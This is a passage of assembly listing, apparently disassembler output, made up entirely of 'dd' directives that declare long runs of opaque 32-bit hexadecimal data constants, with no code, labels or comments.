0F2C85122h, 0FDEC2975h, 262C7E64h dd 616EF161h, 4E5DF17Fh, 0AE1E2CDDh, 3446346h, 52D2713h dd 12E6FE45h, 0AFC7B2EEh, 0F582CCAAh, 2D3E586Eh, 63914C02h dd 3885CC5Dh, 992FC656h, 0C2ED5EBAh, 47DC4767h, 8516200Fh dd 0D3E4D4B3h, 59A427A8h, 0C5C8703Dh, 0A667BA5Eh, 7A5B21D0h dd 0F436FFAh, 0BA497E45h, 56BC5E4Eh, 0AD2425EAh, 3D794B9Fh dd 0FBA0E4E5h, 0E647DD37h, 65BEB36Bh, 5A5CA704h, 732F4617h dd 8FE61EA0h, 0F4CF73CDh, 341E9A66h, 313A2D68h, 566CE57Ah dd 80BEB57Eh, 0AF1303B5h, 0B4D1E03Fh, 0FA3CC27Ah, 194F6858h dd 0DF1DB08Bh, 0E165BE9Eh, 0B74C34A5h, 0BA020677h, 1C0F3B86h dd 2F776D9Ch, 866D620Dh, 0AA95DB86h, 0E784CCE7h, 9EADED0Ah dd 747FDECCh, 0E25DE544h, 0C13A40F4h, 86170AEh, 8B7BCC05h dd 0A25EF6EDh, 38385AD8h, 0EA684FADh, 203E6F67h, 18C52A30h dd 269B35E9h, 0F5907909h, 0C872862Bh, 96B5A6D2h, 0CB575769h dd 0A1B30E77h, 7ABA0ED8h, 0C952F35Fh, 0F6E91602h, 9B27DCh dd 6FD16AB3h, 0A74A8844h, 4CFA83FCh, 7340DD5Eh, 6B6AFCD5h dd 22F2A960h, 0AC29ED21h, 626FB44Dh, 2CC550FFh, 7DF0F2Fh dd 0FE602BBBh, 0D28EE3B4h, 589C921Eh, 64220D7Dh, 388FD996h dd 20E2D512h, 0EA228B68h, 0A6E3B483h, 7C8BDE1Ah, 0ECB4C349h dd 114EF628h, 115E339h, 9E2BB707h, 0DFE35C87h, 0D2B5DEA8h dd 0A3C0AF16h, 4CFDB234h, 9DD0238Ah, 75972510h, 39710F60h dd 26371BDBh, 0D1AC13E1h, 17985D10h, 0F0D926EEh, 0C7A7DE1Fh dd 116750CAh, 0B4A239E1h, 8C51B135h, 0EF9340C2h, 87234068h dd 970173BAh, 6C09F65Ah, 0C4A6E0BBh, 91D9AA38h, 77CCDD86h dd 4854432Eh, 3E05E4AFh, 945F0960h, 0BDD1FD17h, 8D40B759h dd 506CCEB0h, 941AB4C4h, 0A1B4CE77h, 704E1838h, 0D8BF6D3Ah dd 31381CCh, 0E894BD19h, 0A9DCB912h, 41FEB5CDh, 9DCFCF40h dd 0B69E13D4h, 793914A2h, 21F4FFDEh, 756B2247h, 0ED928CA2h dd 0AF7803BEh, 0AA565773h, 0E88797B9h, 4F7510D8h, 0E3C38DFAh dd 1871D0EFh, 4203BB53h, 0BA4475E7h, 6A40C76Dh, 352FFF58h dd 725F3ED0h, 0BC91D543h dd 514D436Ch, 0CC43F515h, 13390221h, 5B9778F7h, 0FB663B51h dd 57E72B51h, 0DF5A9BACh, 23FF5BF2h, 813F8EDh, 0F2DAA800h dd 0CB4718D1h, 1A184213h, 4735732Ch, 2429DEF9h, 2957E356h dd 8ECDB511h, 0DC62B37Ch, 71EEBC71h, 3E75554h, 289869FBh dd 0A55A3D36h, 45C3FE14h, 4715BBBAh, 0AABAAEC4h, 0E3215E68h dd 815E3BFAh, 36410900h, 0D82ADA2Dh, 51966D2Ah, 0C584E77Bh dd 23BB63A7h, 7A34E10Ah, 355F8395h, 75345FB6h, 36321C97h dd 0F8760F21h, 99444F7h, 57F6D362h, 3487FD84h, 0EB590445h dd 0E8AC1BA6h, 493E316Dh, 0AB19AD10h, 0EAE694F5h, 2AED446h dd 20A1569Dh, 0B53D8984h, 7B060A6Ch, 8F35EAD7h, 0C0A5858Ch dd 0EDC9B429h, 6AF81F5Dh, 6318ABC2h, 0EDD4E112h, 0AC639C89h dd 412FB734h, 4CA1F067h, 0B1D4264Bh, 0B8CF3F9h, 0D5986636h dd 0C728449Dh, 87051BAFh, 43A4D38Bh, 95DDAC43h, 0A2984D2Ah dd 3D40C6E7h, 8C0638E0h, 0AA0F6250h, 0B68B6823h, 0CAA2A05Bh dd 806817F8h, 5BE6C8ADh, 0E84914E5h, 56275875h, 495AF566h dd 7CCC462Eh, 0F6C78C4Bh, 6D3BE8Ah, 0B43DEC84h, 5072AFE2h dd 0F4580CB3h, 0AA1CE32Bh, 0A8268BD0h, 0F035EDEFh, 5CF5903Ah dd 890672BBh, 30C9A42Dh, 0EA0BCCB3h, 7F628FA3h, 8362777Dh dd 8A3E0DD0h, 996120F3h, 71A35D61h, 3A6682B4h, 0B4AB60A9h dd 655AB836h, 7157BA6Ch, 0D1202BAEh, 1CCC8A72h, 0E834FCF0h dd 0CAEE9075h, 9C24C243h, 0C6F745DAh, 1905A14Eh, 83C17AACh dd 7A652120h, 0A53BE380h, 0E29280FAh, 8FF42361h, 3033E545h dd 8776B6DBh, 0E1723C17h, 5F04A8AFh, 0EDA1ED2Ah, 0F9D95238h dd 686389D0h, 2DF950B1h, 0FBA8D517h, 78B31D63h, 0A4C90971h dd 0BA01865h, 2021862Fh, 0B468D021h, 0EB72935Eh, 8EBF427Eh dd 0A9D2401Ch, 6B62B289h, 0DD92AA6Bh, 42709EFBh, 0C97ADEFAh dd 0AB1CBB2Eh, 43E46A6h, 803E756Ah, 0F810265Bh, 5EDABC34h dd 1230B2A1h, 52707341h, 7A6BFA40h, 0CBBE7A93h, 0FFC143Ch dd 74F9ED0Dh, 2D1234EDh, 7E05BECDh, 27C663B2h, 0CEE27D00h dd 0EA41AA22h, 58867859h, 0AC11DF6h, 0AAFB84E0h, 0CA8299FFh dd 0AC1D4694h, 3ABDEFABh, 65015CBEh, 124E78DCh, 7EA3F329h dd 8C62D5Bh, 99FA64CCh, 0DAB48067h, 0AF453086h, 4E5C6183h dd 105361DFh, 573C3AF9h, 0C25321A6h, 4FBDB63Bh, 0B7A94086h dd 771182D8h, 266FD3EEh, 0F12BF075h, 0B1D8A48Dh, 0FB16343Ah dd 3A08D967h, 0AEFA4843h, 4CC31852h, 0D847D686h, 0F0E9AF5h dd 2EE0D1E6h, 0BBE81D4Bh, 26C37B0Dh, 16C538Bh, 912C97C0h dd 0B155D012h, 0DC839AC9h, 4F529FFBh, 0BA51B031h, 0E1A69468h dd 120B6C4Fh, 2F64B5C8h, 0B3679F92h, 58D7992h, 3A0F6F0Dh dd 0CC5AC3B1h, 795DB665h, 0AC30A178h, 0B585AC84h, 85D21A10h dd 0E952EAEEh, 5C0746DDh, 0A142E4DAh, 0FDFB8483h, 0B53D9FCFh dd 4B46FDE7h, 28E2BC43h, 0A7F96F7Ch, 34AC718Bh, 0B74148E8h dd 9AFEF864h, 75267B17h, 6E0A9769h, 7F83A537h, 0B25E8433h dd 8DBC2073h, 0DCAAD0F1h, 0A2C47591h, 2B92A03Ah, 30A91E6h dd 52A8A425h, 18705930h, 86E4267Ch, 4A052E53h, 0BBF61239h dd 0A77DF56Fh, 9F80ABh, 9EC381BFh, 0DA0CCA5Fh, 9887882Fh dd 4ADF3122h, 326F6BBDh, 668C2736h, 0E909DCCAh, 1DE7A234h dd 560D3BBh, 13DAE392h, 6E33D1B3h, 6D701B4h, 0F6624D3Bh dd 4449F4B5h, 0B3364AAAh, 2468F066h, 9E5F142Eh, 81D1B7B8h dd 0F278C458h, 261A0B3Dh, 0D973F40Bh, 3B06615Ah, 0D7E36FDAh dd 90B9F055h, 0EC7CE13Ah, 6D1BCC89h, 59133642h, 0E45D1B85h dd 6C6CE855h, 0CBADC6E4h, 0BC858325h, 67452662h, 44CC272Bh dd 43DFC045h, 5509ED8Ah, 1DA6C3Bh, 0DF30143h, 0E3641F8Bh dd 57F4ADFBh, 2CF3EFCCh, 2578B82Eh, 0C38D5BACh, 16C569E2h dd 0F35E754Fh, 3FEC31B4h, 0F079260Eh, 96CD3EBBh, 72E4C810h dd 0E4780266h, 0F46655A3h, 9F1A4C0Dh, 3F046DEDh, 5C53D676h dd 2A7153Dh, 32F50A23h, 0C534F03Ah, 1CFFEC2Bh, 1D2EE0FCh dd 75F6F5AEh, 0B507F5DDh, 9325A20Dh, 0A8EB5050h, 4200C96Ah dd 8E432B0Bh, 5726F62Bh, 0A2384776h, 0C417E910h, 903824D2h dd 0B5C3B219h, 0EE412AFDh, 0D1B9E816h, 4D66B0C8h, 0B1227D2Fh dd 0DA67417Dh, 3D9FBD1Dh, 29E49570h, 2F23874Eh, 422B34E5h dd 988D9640h, 8314530Ch, 708C9C55h, 0D3A8D657h, 0BFE5B1D7h dd 6D003178h, 0F2A49964h, 0DDC22A1Fh, 2BDE0FE0h, 6B315E5Ch dd 37414BB5h, 4D596316h, 0B4F6A0DBh, 8B62FC4Fh, 14C5A6A3h dd 0C221441Bh, 68F5989Eh, 1504C769h, 538C612h, 8A7B6E36h dd 20EC16B1h, 226F7EC1h, 2D646DFh, 0EDB98CE9h, 0E49A5134h dd 0C7360765h, 365B2689h, 9B7C7547h, 799B1DA1h, 48D13C1Fh dd 2EEB451h, 8ED2E345h, 43796178h, 0FA998699h, 860C7F0Eh dd 90FAD364h, 0F4E21CBh, 58C4141Ch, 9D17CBF0h, 7769BD0Dh dd 0ABF18F42h, 0A368C03Bh, 2FB9066h, 0B340B411h, 0CD9BAC8Eh dd 47B5BE00h, 9D7BA947h, 0DC36ACD2h, 9C2C4583h, 8EF79446h dd 0FB9BBAEAh, 0BCA5343Ah, 7FC8C9C6h, 0B40D184Ah, 0C3EA0384h dd 0F26B34DBh, 0ACF10EFEh, 83F347A6h, 2AA6202Fh, 3ABED91Eh dd 0A35F9E70h, 9D110224h, 0E30836F5h, 8694EC57h, 0E44459A1h dd 0E9271067h, 0E7D718B2h, 0AAA367FFh, 9EFF86D6h, 1FA73D96h dd 0EDF45F9Ch, 6F029670h, 0B9375C08h, 7941AA82h, 73A6631Eh dd 0F6B131D8h, 5B382CDDh, 9D4B5DAh, 0C091ADB4h, 23D67CEFh dd 3F1ED49Ah, 1FBF3D6h, 51C80402h, 0AA8DEBA8h, 0A643416h dd 7ACC0015h, 54626C44h, 96BDFB28h, 93A7CFB0h, 9747E571h dd 5A44BC1Dh, 24D51EA9h, 0DDD8EAC9h, 79437D5Fh, 0D3E9DCAFh dd 0BD4DF80Dh, 0FD503B8Eh, 9673E3D9h, 0F655A04Bh, 514C4535h dd 0C6FE98EEh, 5BA307E6h, 82A3451Ah, 0E70FECE4h, 5C0F60F1h dd 0EABDCC9Ah, 3057AE43h, 0B8D51720h, 499AE00h, 59C67D93h dd 781E430Ch, 8B3F1096h, 475D83FDh, 1AF08AA4h, 983BE054h dd 47EBE404h, 0C9CAD321h, 0EC81C7FBh, 0CB281A9h, 0D26AEF6Bh dd 9BC3B826h, 1CC3AA11h, 953EFEA0h, 0EE42F7C3h, 23B0B8C3h dd 3409801Fh, 0F648BA4Fh, 9EB47007h, 95A41A85h, 0E03B9A82h dd 0DBD5D5A2h, 541B4380h, 2DEDC147h, 15B973Dh, 7D3988E2h dd 6500E9FFh, 1E6413FAh, 0EEA9DF51h, 813B0CD9h, 0DAFA0001h dd 4C858AA2h, 0F7D47094h, 0AB806C82h, 10B71252h, 8F6F0276h dd 0EDA007A5h, 3CE7AB97h, 79222E1Fh, 0F2531693h, 5729E108h dd 27110872h, 80E52DCCh, 0E7833A92h, 7FCA9EACh, 0C518D758h dd 770FB675h, 0FBD4EF3Eh, 6DD0CACEh, 0EAC76577h, 0B9D9D281h dd 0D1C3D0B0h, 0C33AE9B7h, 0C9AFBCADh, 15A45D86h, 760DABBDh dd 0D32D4957h, 51FD6FA0h, 480C3217h, 0BF6E3CFh, 0D44D4D12h dd 14632B66h, 625A63FEh, 4318864Ch, 26956F37h, 0F76A6257h dd 0D0458B5h, 0D6C011AAh, 1635C661h, 85A23D70h, 925FCD0Eh dd 619399C5h, 57BCDF71h, 57AD0A38h, 1E2DF8A8h, 25F18124h dd 2F27D97Ah, 5688E886h, 1118A8FBh, 81630479h, 5DB2F234h dd 66AB8D98h, 0C66EC83Dh, 2530E993h, 7AA80D67h, 0EBF16D9Fh dd 3F52B59Ah, 82E9919Ah, 412E34A0h, 17F6AB6Dh, 0B094C27Bh dd 9C443655h, 26D0F7E9h, 0A6F2F3A0h, 38DD7E2Ch, 0B9821E84h dd 0E99970DFh, 6BDB820Fh, 2AEB6F3Ch, 457E397Ah, 0FFC94079h dd 0FC3B9427h, 267F2B88h dd 0B9FC199Ah, 3CA02C05h, 0F43191EFh, 0ED633FA6h, 0DFAD815Ch dd 0CF05D524h, 1E34501Dh, 0B64B998h, 881B2F6Dh, 0CD37F696h dd 0A2348B66h, 0FC78F293h, 45DCA5A7h, 0D0722C35h, 0B6ADB60Eh dd 0EC20A6E2h, 8D460B5Fh, 155FBBA6h, 81F99D96h, 0C010757Eh dd 7B6DA669h, 0A384D407h, 0CF510F27h, 8D2B4C49h, 558C948h dd 6FF75A4Ch, 21BBC2B7h, 5FA6415Ah, 0ABD1B1A6h, 0FFDAC6A6h dd 0E7F0098Dh, 0C177FF5Ch, 2C4667C4h, 0DA9741A6h, 0F2E48DFFh dd 3E288638h, 0C9BA5DBAh, 1B1C2543h, 0C4348ECDh, 0D1C89F67h dd 822B0266h, 3A20768Ah, 5BEFE4D2h, 0D33C6224h, 0DCF49082h dd 0F1319631h, 8B637ACh, 0E45B80ACh, 0D7FE0FE6h, 4256E859h dd 61D094E3h, 9B77DBDBh, 0F4E9FB32h, 0F2EF6CD3h, 62702C65h dd 5B88FDF7h, 8EC2E116h, 64D32CEDh, 0BBBBF5CEh, 92338F91h dd 0C5E9A403h, 924437A1h, 0F896711Eh, 0C78D0FC0h, 0DD45ED02h dd 22B3EA15h, 2F3B4AD9h, 55F0C9E8h, 40D889C9h, 8A5F3F2Bh dd 8F53CE00h, 4E840831h, 0A7C1974Bh, 581F6F22h, 0D89809AEh dd 445424E2h, 0BCF10536h, 0D4C1944Fh, 0F773F1E8h, 4847A1BDh dd 747AFEACh, 50695B07h, 1D8509C6h, 51D494DBh, 0BC4BAB42h dd 4CF49C9Bh, 3B475BEAh, 4FCF0822h, 0C3A4FBBCh, 6CE725C5h dd 8FEEB3C4h, 4B416D41h, 2E38EFDBh, 3BC6B626h, 2D07F963h dd 0A7FD3B6Eh, 0F27E614h, 6D27839h, 0B155F3A1h, 0A304E7C0h dd 0CA87A232h, 0A72B1FE0h, 1F724F7Fh, 94B91E1Bh, 0C43D6BC8h dd 5CBBCFF5h, 311BDACCh, 7E7C0316h, 0FC45F9C0h, 45673924h dd 45F8FAABh, 81C0D5F5h, 0DFDEF91Fh, 73800406h, 9D5A359h dd 0B34D10B6h, 5C7EC744h, 8DD840A9h, 394EAEAAh, 0AB9318Bh dd 9E4BF5C2h, 74079DCDh, 0FC392C64h, 0B7B91E3Eh, 42F66928h dd 45C981E8h, 0FBC36FEBh, 155C52ADh, 7B74BA3Eh, 0ED067E8Ch dd 0F69C41C0h, 0F88A76BEh, 6CDCF67Ah, 0A01C35F1h, 646B9075h dd 0CDA6A9C7h, 0A6E83C54h, 2754795h, 0B2D07C63h, 9C7480A9h dd 0C8BDA8EBh, 55142345h, 9305920h, 5638F12Ch, 0C9E10A77h dd 0C65BB127h, 55C729EAh, 7B07A58Fh, 756BB211h, 20F40FA7h dd 0E5A87CDDh, 2FFB5AF2h, 4ACA7394h, 2040103Eh, 0BC41B8C1h dd 0ABE4A979h, 7D2C9F6Eh, 0D16CCDECh, 0E17493FCh, 0C9A2937Ah dd 5865F5BEh, 0E245F354h, 5157DB92h, 0BFDDEB17h, 0FB8C2042h dd 2624C8E1h, 0FE293F36h, 94E6AD0Dh, 1CB1B3A7h, 0E0BA1A75h dd 6A2C1F81h, 0E64D71BEh, 0F89BF1DAh, 603C932Bh, 1166A157h dd 0EA6E8B5Dh, 2373E2EDh, 52535A9Eh, 0C7D9F3Dh, 6E60CBA9h dd 0FA4E8081h, 9603C856h, 0F13A96AEh, 9DAF380Dh, 4C111F45h dd 8862BBDDh, 0B7211474h, 0FE879CA6h, 7A032C90h, 0DE0ADF3Ch dd 0CBAE6CD7h, 8F850058h, 0A25C9F17h, 8CFF808Fh, 9CD5BA14h dd 0B6CD34A0h, 0A19779BBh, 5348CCCFh, 377108B8h, 0C847B443h dd 4EB3CA17h, 0E86DEB8Dh, 0A8A02ECEh, 0A8EFB11Dh, 0D03949BBh dd 64172A96h, 0A8ED0AB9h, 570F1352h, 0CDA8430Eh, 0EF9662Eh dd 0E9C7880h, 0B08CBA03h, 9427FC72h, 4890DBC8h, 0FABC5B73h dd 0FF7E3CDFh, 0F99E903Fh, 26BC1917h, 95616D5Eh, 6A7C1732h dd 0BBE3228Eh, 0E87D0430h, 8E56B777h, 658D3F6Ah, 0C5B0A504h dd 0AC7ADB10h, 94A0E266h, 50C03663h, 20C4C610h, 57CADAC1h dd 0D19B7EE0h, 589ED4Ah, 21A53177h, 9145D922h, 337F75B2h dd 106B7E1Ch, 742C3D89h, 0C8C64494h, 0F8EFEC2Ch, 0C953830Dh dd 63A1B294h, 0B7732DCAh, 0E7B008Ch, 0A5552E78h, 0A911B065h dd 2929ECE6h, 23E8EFBEh, 24D83CEAh, 0F26C5806h, 40C466A6h dd 89E5A1FAh, 516B826Bh, 0E9E3E3EEh, 0B91532D9h, 7437A56h dd 0F95C1C3Eh, 0E556843Ah, 33A6272Fh, 0CE5D5CEh, 9CB70074h dd 80F15F82h, 0D8C3301h, 7E04E69h, 85922B6Dh, 4043BE21h dd 7E4CF441h, 52BD88F9h, 0B1FFC824h, 80A7014Ch, 16A7C9C3h dd 0DD2D07C1h, 9CACCBA2h, 178E0E51h, 0DEBCC754h, 0A5A31830h dd 71929BDEh, 4AD96AF7h, 0AE7056F9h, 0AADF99B7h, 23A179FFh dd 862D8519h, 0F6831E83h, 518A18E3h, 4DDDCCECh, 0C0366B15h dd 0E0B78905h, 9587A1F5h, 0DA3FB0EDh, 36F22033h, 0E6D72B72h dd 2423BBFDh, 0DF7304D5h, 90EFDCC0h, 0E8B49A09h, 0DCAEFBFh dd 5B06796Ch, 0CC6A4B34h, 0CC630A1Ah, 4B45D8C1h, 38AF4C36h dd 50F663FBh, 2F1927D3h, 0CDF0F1C8h, 0F52D66Ah, 5C3A286Bh dd 537E24D3h, 8FCEA2AAh, 4E7527F5h, 45CFDFF4h, 0BB11956Bh dd 0C4BCE842h, 360146CEh, 320FBFC5h, 0B91AE158h, 2CEE1CDh dd 7974518Dh, 89B7F4C2h, 0A12E73DFh, 0C78A0F79h, 9BB27F38h dd 0B0A64D39h, 84B1905Ah, 0F6AF0539h, 0E45FA11Bh, 24665858h dd 8F5B16B4h, 421675E0h, 1B455AA8h, 9788839Bh, 0C6CD536Eh dd 0B78B8C7Ah, 53038B31h, 0CA31172Eh, 0A146E07Fh, 71C4D1AEh dd 94A580C2h, 41610D43h, 3AE5720Dh, 46CAF97h, 9E61C70Fh dd 0B75D1C7Bh, 2EFE73DFh, 0E208F785h, 0E4CBFABDh, 47E23A83h dd 523757BDh, 94C8910Ch, 9C4D6693h, 5FF326A2h, 4A69F7E4h dd 7D1C2B80h, 46B938AAh, 0B4F62E69h, 2D7EA9C1h, 0EA190BF8h dd 68B210AEh, 0B447C04Bh, 9746FF08h, 0DC9626FCh, 98A9D1Fh dd 0D11CA3CFh, 0AEBA70AFh, 1BB39EF8h, 4179DEDDh, 4938AE35h dd 0B6C3C5CDh, 0F7D159E7h, 6ED962EAh, 4DD3A747h, 1FE4108Eh dd 0AE612663h, 0BCBAFFF6h, 287D1953h, 0CF51E659h, 0A3855BD4h dd 2942F2A9h, 24720D6Ah, 2DD0DE38h, 0C10C0155h, 606154E4h dd 88CCF217h, 0BC1F274Bh, 7E6FF6C5h, 4AEA5332h, 7DFD7AF1h dd 5823C3CAh, 6DDBA43Ch, 5B2A27FCh, 2AB765C1h, 0D4BEFDAFh dd 44804CB3h, 228ACC95h, 46D35957h, 50848ACDh, 9FC78197h dd 596BCF5Bh, 0B3A3F13Eh, 912C2A7Dh, 76C4B60h, 0B2F94EEFh dd 0B3CE0F79h, 0AE0EA983h, 0DAEB6FD9h, 0C0AFED65h, 4D780ADBh dd 0B6A49401h, 0F101960Ah, 650416E0h, 0F5BE5DC4h, 0C045FD39h dd 0DA1C21D0h, 17E00198h, 320CA113h, 0D7E31EBBh, 8B8B57BFh dd 6392A7Dh, 0D7F92AEBh, 6D2D01A0h, 32102017h, 0D18A97FBh dd 695B3806h, 84893FAEh, 0C03080CCh, 0E69B60E3h, 443D5DE8h dd 0F1CF04ACh, 0D78F989Dh, 60DF29DDh, 3842BFADh, 0D7A3B91Fh dd 0DA23F07Ah, 483B60A4h, 4241F39Ch, 64499A66h, 64824128h dd 8A2CB173h, 0BB3CEF8Bh, 0C373DB14h, 0EF02760Dh, 0D8B72943h dd 821F5885h, 49C955C1h, 97C3B32h, 8EECB880h, 450A92E3h dd 0F70DB102h, 98707496h, 0A7F180B6h, 0F6EE4AECh, 0A58C6AFFh dd 99EB2384h, 66D04E47h, 8B9DB507h, 5FA0CE20h, 8450025Ah dd 24CED4A2h, 0D12C5B3Ah, 9767C197h, 85232E78h, 4BBF7980h dd 0E276AB49h, 55C6E9CDh, 0BF6A28C8h, 33CB40B7h, 38172BB2h dd 3749419Ah, 70F6F4A2h, 76A7C8B6h, 0EC3357D7h, 0F4E609ADh dd 3B930E78h, 31F5815Bh, 1C4B6299h, 30CB4DBBh, 49762314h dd 285E2FB9h, 0AE5C97CFh, 72BE213h, 18EA64B6h, 0AFE7D9Eh dd 0E715797Fh, 0BB28D6BFh, 4BCAA620h, 517CE26Dh, 86FCAFBFh dd 2913CC25h, 146FB1C9h, 0DCAC549Fh, 0BF12716Ah, 0F28AC359h dd 52B7226Bh, 0EF290573h, 0B3ED60EFh, 0D5747262h, 9613594h dd 0BCE16EDDh, 3EE5429Ch, 45879E98h, 210C361Ch, 2A703703h dd 2BF92E21h, 6BD1D14h, 56AE8DB6h, 0EE57304Bh, 6FB31785h dd 0C21D4B0Ah, 0E4A80A03h, 786EB5C2h, 0CBC93FAFh, 459DDAF9h dd 0C48DA26Fh, 86523550h dd 0AB50A6B8h, 0AB46364Dh, 0D5EC2381h, 0AFB7D30h, 0EB7A7CF0h dd 1FBBE347h, 852AFD13h, 4DDA6746h, 0C26C3D36h, 890A188Ch dd 0FF916260h, 0EB7FE322h, 0D5B9FB7Dh, 0B855FEF7h, 0F54F166Ch dd 0ADF917BBh, 7B4B2E4Fh, 0BFD742FFh, 73F438D2h, 96074610h dd 0BCB5E65Dh, 183A43B2h, 0C8461A6Ah, 27F25289h, 958276DFh dd 517FF1E1h, 56BB9697h, 0C01E71Fh, 36079EAFh, 273B5A25h dd 51D94EEDh, 80662041h, 81816DE2h, 95B06A95h, 5D65F3D4h dd 4960D38Bh, 0F5FA1D4Dh, 0E49C2643h, 0F7B117FAh, 3B716941h dd 0D67CBCDAh, 5D1FCCF0h, 1BB5CD0h, 3D1F608Ah, 0ED1E0691h dd 0AD2F12BEh, 0C402E937h, 907E6FE6h, 9F387E9Fh, 0C014DE08h dd 0AFFE8878h, 113FE904h, 0FAB8006h, 0EC884201h, 0DAFAEAh dd 0D6E6083Bh, 9F7CD7AEh, 0A302AA60h, 56009F61h, 3A3F882Ah dd 0AE139C43h, 2CDAFF13h, 226281A7h, 67BC6975h, 283AB5E1h dd 11BC3208h, 35135F8Dh, 48286D6h, 4FDFC2C1h, 0FF94EB7Eh dd 1BF57D90h, 8DCA956Ch, 0AAFAAE3Fh, 119B53DFh, 62F4D5BFh dd 0A8CFE52Ah, 6DF73A7Fh, 7A5CC80Dh, 95CB172Fh, 0A365566Eh dd 5B993D52h, 6AC7955Ch, 65A711C9h, 0C0A18C03h, 669ED121h dd 0BB7CC946h, 353166AFh, 655F980Ch, 0B32269FCh, 0FE890B27h dd 0DF139193h, 847E08FCh, 45DD641Bh, 0C6BDCA6Eh, 976498CBh dd 60FE72C2h, 7806A3A5h, 229E935Bh, 7E4B8007h, 17A26D6Ah dd 0A03F3F4Ch, 1B69C340h, 24282E64h, 0C2CD01D0h, 9BD6B6A4h dd 48624CB7h, 0E0A28E92h, 0A495F7F9h, 911FA0DBh, 0D6272569h dd 0CEE8795Ch, 84FDF45Eh, 9ED772EBh, 0EAFA48C0h, 50F305A5h dd 0BC9B47D7h, 0D528E942h, 0FF608313h, 8F988A2Ah, 1948F0A9h dd 0C67BE593h, 866A8A73h, 69E3D0CEh, 505D8F53h, 898623DCh dd 3ACE4F16h, 0C2723595h, 422551ACh, 0F8BD79F8h, 684636CDh dd 22D56CD3h, 6127DDA5h, 0E888F7Ah, 1EB35E01h, 0C796A5Eh dd 0BF735BB6h, 7EBD34ABh, 0B8E0932Fh, 266181FDh, 0F8DFB5CEh dd 67781374h, 8B6D5704h, 0D613A15Bh, 9258CF45h, 0D7285CB8h dd 1CB80D38h, 0D22B53FEh, 0A02169C4h, 2EBFDF5Fh, 78B2DEF8h dd 9A5AE7B4h, 79F22893h, 5345CABh, 0F2C978ECh, 0D766ED2Dh dd 957385Eh, 9A9884B8h, 4C4EE086h, 700D70D4h, 693EB4AAh dd 3FCBA560h, 0AC26695Ah, 329DE33h, 334B0294h, 0A4558261h dd 886832B3h, 0BDF4C423h, 2C2E841Ah, 4A5D84EAh, 20A9AA43h dd 46CB3D6Fh, 89E44ABEh, 0E748D377h, 0A79AA023h, 5226A04Fh dd 0B20CB6C5h, 73F2C4E9h, 0B0CADE4h, 69E1282Dh, 40CAAA5Bh dd 19C2121h, 2DA45B4Ch, 58EEEAC6h, 21B45ACFh, 85B964B7h dd 0E013279Bh, 0CD1A0AA7h, 0E2372122h, 2CB41F4Ch, 674527E1h dd 0B07370D8h, 0F298265Ah, 0CB026743h, 0F737C5E0h, 0EFFDD890h dd 0C82FA07Bh, 9B97BF23h, 80224A11h, 99C48E70h, 0E01EE8Ah dd 0EBEE29B5h, 0D20067B6h, 0EA19C680h, 16DB6863h, 1358C15h dd 53298CDh, 18579F4Bh, 0D1B56280h, 0FCAAF422h, 48D3C6C8h dd 14B6A629h, 70AD57B9h, 9ED14D1Dh, 0D52F6550h, 0E0744B41h dd 0D754441Bh, 0A1B19D5Ch, 0CC20455Fh, 28CF5EC5h, 9C022A1Eh dd 78D62B69h, 3169AC05h, 9AA97BBAh, 0C3C10354h, 8CF82ABFh dd 5FACA408h, 0F7ABCEEFh, 5CBB34A9h, 0BD09DE25h, 83522DB8h dd 6914247Fh, 932EEB1Bh, 219525A0h, 0B72CA7F1h, 0E6EE56C8h dd 0C5484E09h, 0CF8E7467h, 481995FCh, 3B186645h, 0D1E3F968h dd 9EAFAA1Ch, 352EDA5Dh, 5158FC4Dh, 890B6158h, 3F3DC6EBh dd 0CE733043h, 9835FD3Bh, 939BCA44h, 6AFB21A9h, 0D06F5BE1h dd 0D470EB62h, 40E4FC0Eh, 84453649h, 0CEAB2C94h, 1FF88C84h dd 2BADE5Eh, 0BFDD6421h, 0A8B1D913h, 3346B354h, 0BACDE747h dd 922C88D1h, 0E8649ECBh, 0CB9957C8h, 4CF250EBh, 0A5E00674h dd 62CF97A3h, 8F1A8C2Ch, 5506F16Dh, 0AA3D3EEh, 0F80DDE1Ah dd 6FEFAC56h, 0DF240A54h, 0CB0B0742h, 48F9B87Dh, 0F08F0630h dd 1940140Fh, 638BF452h, 165CBD4Dh, 332206A2h, 94405499h dd 0C10C65DCh, 2323543Ah, 0ADE79B71h, 0BEFBEFF1h, 0B20E87Dh dd 0C655D539h, 7FC9586Eh, 0C425502Ah, 2731EFBDh, 1C05188Ah dd 801E8FE7h, 0B811623Eh, 391E7A74h, 0AFDC4BD8h, 50DA9033h dd 0D8025D49h, 0C800BCE0h, 0F8C8F8BFh, 0FF838E56h, 988B4E63h dd 2030F7AAh, 0BF47B80Bh, 0C1E6E554h, 0DFAC13Dh, 0E834F40Bh dd 4DCD5964h, 0AFE74473h, 16FD3E8Dh, 277E0903h, 5AD6747Fh dd 1ED9F6FDh, 0F98D64C5h, 5B790A7Dh, 2F6A0094h, 7AB6CAFDh dd 3376C830h, 50CB526Fh, 24D364DAh, 0BAAC39C8h, 0F4A598C9h dd 30CEC4D6h, 111FDD05h, 0D63D6A54h, 7A6CAF77h, 0B5E9A01Bh dd 17E2169Ah, 3E81B9FAh, 34612C45h, 36ACF420h, 6238B9B2h dd 0D67D302Bh, 0ADDA17B9h, 3B03565Eh, 0A3306A66h, 5A060107h dd 372E600h, 0C7509B6Dh, 628122E6h, 84EDCFC4h, 0A5CF1C11h dd 0B2F72587h, 5AF61864h, 1EDF3041h, 26A71A0Dh, 48BF4C43h dd 0B92E9BA0h, 3FD9C9AEh, 8AC1D46Ch, 0BE1F2AE7h, 67BE95D3h dd 23DFAB3Fh, 0B81FC4C1h, 12D36CA3h, 0A4014928h, 5A3E51A6h dd 4401B3EEh, 0F7468A37h, 0E9DC5616h, 38229E89h, 9DD2E4C7h dd 0B55608FAh, 2A83CA4Bh, 9FC9C304h, 9A67D5DFh, 90A6E694h dd 0FDD4FAEh, 228C9435h, 925AAF4Fh, 0E10A5E90h, 0F046D85Eh dd 925C1972h, 93A3BCDDh, 465A0DCAh, 0DE157BA4h, 3A113154h dd 8A6847C5h, 915976DDh, 0D7CA0810h, 0B795CF62h, 0EEEF9611h dd 0B3A5028Eh, 0F2C53B86h, 3F92154h, 0AB206712h, 515F3558h dd 0C339C5Bh, 7AC6CF64h, 85CCB274h, 83A01249h, 0C3C2C87Ah dd 8306A99Dh, 1B9E7DCEh, 0BEC35241h, 4469C353h, 8696A7FEh dd 71B2600Fh, 423127C5h, 7224EF3Dh, 8D7C43E6h, 0FE3EBE6Ch dd 0C97C0851h, 0CB2EF6D0h, 0D6A752E4h, 7D4E45D6h, 